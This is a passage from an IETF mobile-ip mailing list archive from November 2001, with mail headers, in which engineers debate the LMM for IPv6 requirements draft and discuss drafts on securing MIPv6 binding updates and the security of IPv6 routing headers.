> Also, I'd like to register an objection to the following wording in
> Section 3.9:
>
>    These enhancements are intended to minimize handoff latency
>    and reduce packet loss.  LMM and FMIP protocols MUST BE able
>    to be deployed independently of each other.  However, when
>    the two classes of protocols co-exist, LMM and FMIP MUST
>    maintain compatibility in their signaling interactions for
>    fulfilling complementary roles with respect to each other.
>
> This wording essentially rules out any solution that would combine
with
> fast handoff. I think that is a mistake because it may be possible to
> obtain a solution that is simple and easy to deploy and implement
which
> is tightly bound with one of the fast handoff algorithms. This is not
to
> say that it should be the only solution, so that if another fast
handoff
> algorithm were deployed, another LMM solution might be required.
>
> I think what this requirement is getting at is that there must be an
LMM
> solution that is available regardless of the handoff algorithm. The
> current text does not cover standard MIPv6, so, given the current
text,
> it would be possible to develop a LMM
>
> => I don't really see a problem with the requirement.
> All it says is that the two solutions MUST interwork,
> which is a good thing. If the two solutions are actually
> one, which is what I think you want to allow ;), then
> by default they can interwork.
>

It also says that the two MUST be deployable independently.

>
> 3.9 Support for MIPv6 Handover.
>
>    An LMM solution MUST be available for all standardized MIPv6
handover
> algorithms. The signaling interactions
>    between the handover algorithms and LMM MUST maintain
compatibility.
> This requirement SHOULD NOT be interpreted
>    as ruling out useful optimizations of LMM and MIPv6 handoff that
> simplify the implementation or deployment of LMM or
>    MIPv6 handover.
>
> => This is a bit confusing, especially the last sentence.
>    I don't get the advantage between this one and the one
>    in the doc.
>

For one thing, the original requirement says nothing about standard
MIPv6 handover. I think the requirements must cover all handover
possibilities, not just fast handover.

For another, as you mention, I would like to allow a solution in which
the fast handover and LMM solutions are deployable together. For
example, suppose there is a possibility of optimizing HMIPv6 to take
advantage of BETH tunnels. The current requirement would not allow this,
because it would mean that HMIPv6 and BETH would have to be deployed
together. That is the purpose of the last sentence.

            jak



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 12:30:01 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06193
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 12:30:00 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA18066;
	Thu, 15 Nov 2001 10:28:45 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA29518;
	Thu, 15 Nov 2001 09:28:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFHKALS017258
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:20:10 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFHK9IE017257
	for mobile-ip-dist; Thu, 15 Nov 2001 09:20:09 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFHK6LS017250
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:20:06 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA14372
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:20:06 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA15815
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:20:04 -0800 (PST)
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAFHK2f09830
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 18:20:02 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Thu Nov 15 18:20:01 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2LXKN0>; Thu, 15 Nov 2001 18:12:01 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C070@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Cc: Carl Williams <carlw@docomolabs-usa.com>
Subject: RE: [mobile-ip] LMM for IPv6 requirements draft (new revision .01
	)
Date: Thu, 15 Nov 2001 18:19:42 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hi James, 

>
> 3.9 Support for MIPv6 Handover.
>
>    An LMM solution MUST be available for all standardized MIPv6
handover
> algorithms. The signaling interactions
>    between the handover algorithms and LMM MUST maintain
compatibility.
> This requirement SHOULD NOT be interpreted
>    as ruling out useful optimizations of LMM and MIPv6 handoff that
> simplify the implementation or deployment of LMM or
>    MIPv6 handover.
>
> => This is a bit confusing, especially the last sentence.
>    I don't get the advantage between this one and the one
>    in the doc.
>

For one thing, the original requirement says nothing about standard
MIPv6 handover. I think the requirements must cover all handover
possibilities, not just fast handover.

=> Sure, I kind of assumed that. But saying it explicitly
  is a good thing.

For another, as you mention, I would like to allow a solution in which
the fast handover and LMM solutions are deployable together. For
example, suppose there is a possibility of optimizing HMIPv6 to take
advantage of BETH tunnels. The current requirement would not allow this,
because it would mean that HMIPv6 and BETH would have to be deployed
together. That is the purpose of the last sentence.

=> OK, my interpretation of the requirement was 
 that it would allow for the scenario that you
 mention above, but I must have interpreted it 
 differently. 

Cheers,
Hesham


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 12:44:13 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07134
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 12:44:12 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA13049;
	Thu, 15 Nov 2001 09:43:02 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA04445;
	Thu, 15 Nov 2001 09:42:33 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFHYHLS017393
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:34:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFHYH4C017392
	for mobile-ip-dist; Thu, 15 Nov 2001 09:34:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFHYDLS017385
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:34:13 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA13715
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:34:14 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id KAA04601
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 10:34:22 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.16909-0@bells.cs.ucl.ac.uk>; Thu, 15 Nov 2001 17:33:58 +0000
Message-ID: <3BF3FC86.ADCEF1D3@cs.ucl.ac.uk>
Date: Thu, 15 Nov 2001 17:33:58 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: Carl Williams <carlw@docomolabs-usa.com>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <01c901c16990$061f5b90$686015ac@docomocarl> <3BF1D482.E33A9DE0@iprg.nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

> 1.2 Principles of the LMM
> 
> It seems to me that this subsection belongs to the solution space. "This
> is done
> by [...] assigning two care-of addresses..." and other sentences like
> this one describe how to implement LMM. This should not be in a req
> draft. The principles should be at a concept level. Or the whole
> paragraph should
> be scrapped. (Same issue in 2.0 Terminology:  the LMA is defined in
> solution space,
> and not concept space).
> 

I strongly disagree.. The principles describe the operational abstract
of an LMM scheme. Perhaps one needs to qualify the 'two CoAs' with 'at
least two CoAs' since you require at least one localised (domain-wide)
point of routing/id reference. Perhaps you may want to add more in a
future LMM scheme (but I very much doubt since it would be at least
sub-optimal unless you intend to abstract CIP or HAWAII with just one
such route/id ref -which is probably another class of micro-mobility in
my book)

BTW the LMA term you mention is solution specific but not mentioned in
the reqs doc..


> 3.3 Induced LMM functional requirements
> ("Functional requirements induced by LMM" would be better0
> 
> 3.3.1 and 3.3.3: I do not see the difference. Please merge or clarify.

Indeed they may seem somewhat similar. However, the first one involves
_also_ functionality on the routing elements that needs to be tightly
controlled.

This may indeed need to be made more specific such that one stands as a
requirement over HA+CNs and the other stands as a requirement over ARs.
I believe this is also a good divide and conquer approach
(reqirements-wise) to tackle the issue on what we see as the abstract of
a mobility extension.



> 
> 3.4 Scalability
> 
> Shouldn't 3.3.2 be filed in there?
> 
> 3.4.1:  "Scalability guarantees to support millions of nodes for an AD"
> Is this about scaling, or about supporting a large number of users?

I perceive scalability of an LMM scheme as the ability to support
(scales with) an increasing number of MNs. Perhaps if you voice out how
you perceive scalability we may see a different perspective on the
requirement. Do you want to elaborate a little on your view?

> This, unlike
> other subsection headings, is not phrased as a requirement.

considering my perception of scalability I kindly disagree although
wordsmithing is a never-ending endeavour.

 I'd replace
> it with
> the first sentence, but then again, I don't know what the scaling of a
> _framework_
> means. Get rid of number references. There is a billion cell phone users
> on this
> earth today, so millions are already not enough. 

I agree that scalability needs to touch on a unit of measure: i.e.
globally? link-locally, site-locally or what? 
In a distributed system you want to see the capacity over what may be
considered the minimal unit of capacity measure and then work your way
up to the global (perhaps billions/zillions) aggregate. In that
perspective we need to be driven by a metric of node capacity over the
measure of locality! This goes away from numbers which is probably
better as the figure is a bit stochastic..

There are two
> requirements in the
> paragraph anyway (and they contradict: one says "it should scale", the
> other
> says "it should be distributed so as to avoid scaling effects").

I am not clear what you mean here..all it says is that distribution
would aid scaling...this may sound like a potential suggestion for
scalability but it is generic enough to remain in the abstract.

> Also, replace "linearly" with "at most linearly", as we can accept
> better than linear
> performance.
> 

It seems to me that the wordsmithing here calls for 'at worst linearly'
rather than 'at most..'. I trust this is what you want to mean but 'at
most' sounds a bit strange..

> 3.4.4: The last MUST NOT seems hard to enforce. It is expected, and I
> don't think
> it is bad, that the amount of signaling would increase as the number of
> users, as the
> Local Domain expands in size.

Signaling will by default increase with the number of MNs. Nobody argues
against that. The question here lies with what is defined as a domain?
Is it the MN population (I believe this is not what is the intended
semantic but I may be wrong)? or is it the size (diameter, say) of the
domain? Perhaps Carl wants to consider the two perspectives in the
document.



> 
> 3.4.7 Technically, it is not triangular routing, as uplink is optimized
> and downlink is
> triangular. Actually, it assumes that "all traffic MUST go through the
> LMM agent"
> (MUST emphasis mine), uplink and downlink. More on this later.

With all due respect, technicaly you are wrong: I cite the term of
Triangle Routing from the Route Optimization draft of  
Perkins and Johnson:

" Triangle Routing

         A situation in which a Correspondent Host's packets to a Mobile
         Host follow a path which is longer than the optimal path
         because the packets must be forwarded to the Mobile Host via a
         Home Agent."

i.e. we only refer to the downlink. That is to say that upstream traffic
from the MN to the world is not even considered. Perhaps though Carl
wants to make that clearer for the uninitiated.


> 
> 'The LMM framework SHOULD support optimal placement...LMM"
> This is an implementation issue.  Should be removed.

IMHO this is not an implementation issue, it is the issue of eliminating
the triangular routing. It does not say where to put it, however it
identifies that placement can make a difference in at least the second
routing leg past the LMM agent if not placed optimally.

> 
> 3.4.8 link layer
> I am confused here by this requirement. Is LMM a MIPv6 extension, as
> described in
> the document? So why does it care about L2 in general, and L2
> optimizations in particular?
> 

I agree but I could not see it in the draft version I have perhaps it
by-mistake is still lurking out there...I also thought we removed it.
Carl?


> 3.5.1/2/3 Add a mention that if MUST NOT increase is the least expected,
> SHOULD decrease
> would not be too bad either

disagree, the 'SHOULD' directive conveys instruction which is not
necessarily mandatory..the 'MUST NOT' certainly mandates..
> 
> 3.5.4 Should be removed or clarified. Who is detecting the movement
> between seperated domains?

Hmm on this one I must agree..that is a new one to me, which does
introduce a different consideration: differentiation between domain wide
and link wide MN detection...perhaps clarify and keep it short in this
requirements doc.

> The MN, the CNs, the HA, the LMA? Is it a domain addressing issue (which
> should be
> left out here). The sentence: "The reason for this ...is that there is a
> need...for the mechanism
> to work..." is pure casuistic. If it is a non-LMM mechanism, what is it
> doing here? Etc.

largely in agreement on this one..

> 
> 3.7 LMM disrupts IP routing by adding host routes. Should be rephrased
> as: LMM MUST
> NOT disrupt IP routing outside of the LM domain.

Well this is really tricky..how can you assure elimination of
disruption. How do you perceive disruption? Why should the LMM domain be
considered any different than the internet backbone when it comes to
routing. I thought the intent is to keep host routes under control. The
above statement does make some (partial) sense to me I guess..
> 
> 3.8 Last paragraph "To avoid concentration....populate the
> administrative domain". Remove the
> paragraph. There is no concern that MNs mobility patterns would be
> affected or influenced
> by the LMM-agents (btw, it is LMA in the terminology). Is this paragraph
> saying that
> MN will flock to an access point close to a LMA? Do cell phone users
> aggregate in front
> of building carrying base stations?

I disagree with the removal but let me explain the rationale here,
perhaps needs a bit of a wordsmithing here also. Basicaly your LMM
domain is not cast in stone with respect to the population of the LMM
agent. You initiate deployment with a minimal set of LMM agent, usualy
sparse at first. If the thing works out to do well and more MNs start
populating the _domain_ you want to scale up your deployment plans with
more LMM agents (dense). That means that the LMM scheme must cater for
the introduction of new LMM agents which are a change in the LMM
topological overlay, without incurring a prohibitive cost of ownership,
i.e. autoconfigure the new LMM (meta)-topology

I think however I agree with a merging with 3.4.5 since they are pretty
much the same thing (only from the generic to the specific :).

In that respect I guess 3.8 section should merge to 3.4.5.

> 
> 3.12.1 is redundant with 3.4.5 (and 3.4.2 to some extent). As a general
> comment, reliability is
> dealt in both 3.4 and 3.12, maybe both sections should be merged.

I agree with the point about 3.12.1 merged with 3.4.5 (see above). I
also agree with the 3.12 section merge with the 3.4.5 since there is an
issue with indicating failure among LMM agents. This pertains to
reliability and quite rightly manifesting itself as a topological change
that needs to be noted accordingly. So 3.12 may be transormed in to
3.4.5.1 (perhaps??)

> 
> 3.14 Quality
> 
> What exactly is meant by Quality. Is it QoS, then say so. Otherwise,
> clarify.

fine by me..and rightly noted..



> ------------------------------------
> Missing reqs
> -----------------------------------
> Even though you request that no new reqs be provided, let me make the
> case for one:
> 
> 3.15 QoS
> 
> The LMM MUST interwork with the QoS schemes to:
> 3.15.1-hide the mobility of the MN to its peer by avoiding end-to-end
> QoS signaling.

fine !

> 3.15.2-facilitate the new provisioning of both uplink and downlink QoS
> after a handoff

fine (2) with a slight reservation for the following comment. Who says
that if you facilitate new provisioning for the uplink from the MN you
have to go through the LMM agent?

> 
> 1- means that the uplink traffic MUST be tunneled through the LMA.
> (this is assume in the document, it must be explicited. Current LMM
> proposals
> (HMIP, RegRegv6) have an uplink that is not tunneled through the LMA.
> This allows the CN to be aware of the local mobility of the MN by
> looking at
> the source IP address.) This draft makes the assumption that the
> uplink traffic is tunneled through the LMA (section 3.4.7).

_no it is not! In fact it assumes that it doesn't although it is not
explicitly stated (I guess two edged sword.. :)

 It also
> mention
> provisioning in 1.3 as one of the goals of the LMM.
> 
> Having an optimized (non-triangular) uplink means that in case of QoS
> renegotiation
> after handoff end-to-end for the uplink, the location is not hidden to
> the CN. It also introduces
> delays and extra signaling in having to renegotiate e2e. By having a
> potentially
> distinct uplink and downlink, it introduces the need for distinct QoS
> signaling uplink
> and downlink for re-establishment after handoff. On the other hand, by
> having
> both uplink and downlink going through the LMA, the handoff implies
> changing
> on the paths only below the LMA. One QoS re-establishment request can be
> sent
> to the LMA for both up and downlink.
> 
> 2-means that LMM and QoS (like LMM and IP routing) MUST work
> hand-in-hand.
> 

I will just agree with Hesham on this one since there is no point in
saying same thing with different words..


Cheers

Theo
UCL/Mobile Systems


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 13:09:45 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08906
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 13:09:45 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA27132;
	Thu, 15 Nov 2001 11:08:16 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA29651;
	Thu, 15 Nov 2001 10:08:21 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFI02LS017565
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 10:00:02 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFI02ia017564
	for mobile-ip-dist; Thu, 15 Nov 2001 10:00:02 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFHxwLS017557
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:59:58 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAFHxrq18505
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 18:59:56 +0100 (MET)
Date: Thu, 15 Nov 2001 18:59:09 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: [mobile-ip] bu3way
To: mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <Roam.SIMC.2.0.6.1005844771.28210.nordmark@bebop.france>
Message-ID: <Roam.SIMC.2.0.6.1005847149.22529.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

I didn't see (or accidentally delete) the I-D announcement for  this draft.

  Erik


http://www.ietf.org/internet-drafts/draft-nordmark-mobileip-bu3way-00.txt     
  

	   Securing MIPv6 BUs using return routability (BU3WAY)

   Abstract

   This document is intended to serve as input to the discussion in the
   Mobile IP Working Group regarding securing MIPv6 Binding Updates.
   This document tries to capture a possible extreme point in the design
   space for a solution to that problem, for the purposes of exploring
   the design space.  The author does not claim that this protocol is
   better than any other proposed solutions - merely that it is
   different and the differences can help in understanding design
   tradeoffs in this space.

   This proposal relies on using only return routability to verify the
   authority to perform a binding update.  It uses return routability
   for every Binding Update message i.e., every binding update implies a
   3-way handshake between the correspondent node and the mobile node.

   The document also tries to look at how the security properties of the
   proposed protocol would change when trying to optimize the protocol
   so that, past the first BU between a MN and a CN, subsequent BUs can
   be done without a 3-way handshake.




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 13:13:23 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09204
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 13:13:23 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA28297;
	Thu, 15 Nov 2001 10:11:31 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA29083;
	Thu, 15 Nov 2001 10:06:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFHwQLS017542
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:58:26 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFHwPl3017541
	for mobile-ip-dist; Thu, 15 Nov 2001 09:58:25 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFHwLLS017534
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:58:21 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAFHwFq18345;
	Thu, 15 Nov 2001 18:58:16 +0100 (MET)
Date: Thu, 15 Nov 2001 18:57:30 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Comments on draft-savola-ipv6-rh-ha-security-00.txt
To: Pekka Savola <pekkas@netcore.fi>
Cc: mobile-ip@sunroof.eng.sun.com, Erik.Nordmark@eng.sun.com
In-Reply-To: "Your message with ID" <Pine.LNX.4.33.0111141450370.28922-100000@netcore.fi>
Message-ID: <Roam.SIMC.2.0.6.1005847050.21323.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> Yes, my terminology was different (actually I hadn't even read Vern's 
> paper) -- I used it in a more generic sense.  For me, reflected attack was 
> anything that used third parties to get at the final destination.  Would 
> there be a better term for this; I couldn't think of any?

I haven't re-read the Vern's paper to see how general his
use of the term is.
Perhaps adding a note (or a mental note) that this might not be consistent
with other use, and making sure the term is well-defined in the document.

> Now I just thought of another way a flooder could lay false trails: he 
> could insert routing header entries with segments left=0 at the source, 
> and the destination _might_ believe the packet went through all of those 
> intermediate routers.  Thus using the existance of routing header is not 
> enough proof.  I'll add this to the draft as well.

Good point.

> > I agree that there are special cases like security gateways that have
> > "inside" and "outside" where in general you need to make sure
> > that routing headers can't be used to skip from one "domain" to another.
> 
> True.
> 
> > But for regular hosts it is fine to allow any interface.
> 
> This one is debateable.

I haven't seen an argument where a host in general cares about 
network interfaces at this level. Is this just a Weak-ES vs. Strong-ES
model issue that appeared back in RFC 1122 and RFC 1127?

> > In order to prevent link-locals and site-locals to "leak" 
> > you need the zone restriction, but one could argue that normal hosts
> > wouldn't have a security issue here.
> 
> I think link/site-local etc. restriction is essential.  

Agreed.


> > Section 2.4.3 talks about a more radical approach to by using routing
> > header type. I think a cleaner and radical approach would be to define
> > a new extension header type for what is essentially tunneling with the
> > source address supressed.
> 
> I don't really see any benefit in this, except saving like 20 bytes by 
> skipping source address and a few other fields that would have been 
> present in the IPv6 header.
> 
> Or were you suggesting, kind-of, "Home Address Option" -type Extension 
> Header?  Replace destination X with Y, but additionally subject it to some 
> specific tests?
> 
> A (small) gain of non-tunneling mechanisms include, at least, a more
> realistic view of the network as everyone does not seem to be one hop
> away.
> 
> Is there something I missed?

See draft-nordmark-mobileip-hindsight-00.txt and see if it is clearer.
Even if the format (HOA option and routing header vs. the tunneling header
I suggest in that draft) doesn't change I think, based on the arguments
you made in your draft, that the processing rules in the highsight draft
would apply.


> if there was a draft, it has long since expired.  I'm not sure whether it 
> makes sense to dig very deep into this, as it appears current itrace 
> specification does not include this reverse possibility.  There are some 
> problems with it anyway (the source being assumed to be spoofed and 
> all...).
> 
> I'd like to hear your opinion whether this reverse itrace is an issue to 
> be concerned about.

Even if ITRACE isn't used (forward/reverse) other proposed schemes like
	Snoeren et al, Hash-Based IP Traceback,
	http://www.acm.org/sigcomm/sigcomm2001/p1.html
might have problems since they only deal with certain packet
transformations (like fragmentation) - dealing with the "reflection"
of a packet with a home address option means that such a system would need
to know about such transformation as well.

This I think preventing such unauthentication and unauthorized transformations
would be a good thing.

> With:
> --8<--
>    Without keeping state filtering could be performed only if:

Insert comma after "state".

>      - local mobile nodes never roam outside of the internal network
>        performing filtering.
> --8<--
> 

   Erik



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 05:32:49 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA25527
	for <mobileip-archive@odin.ietf.org>; Fri, 16 Nov 2001 05:32:49 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA21946;
	Fri, 16 Nov 2001 02:31:29 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA26066;
	Fri, 16 Nov 2001 02:31:03 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGAUBLS018966
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 02:30:11 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGAUBI8018965
	for mobile-ip-dist; Fri, 16 Nov 2001 02:30:11 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGAU7LS018958
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 02:30:08 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
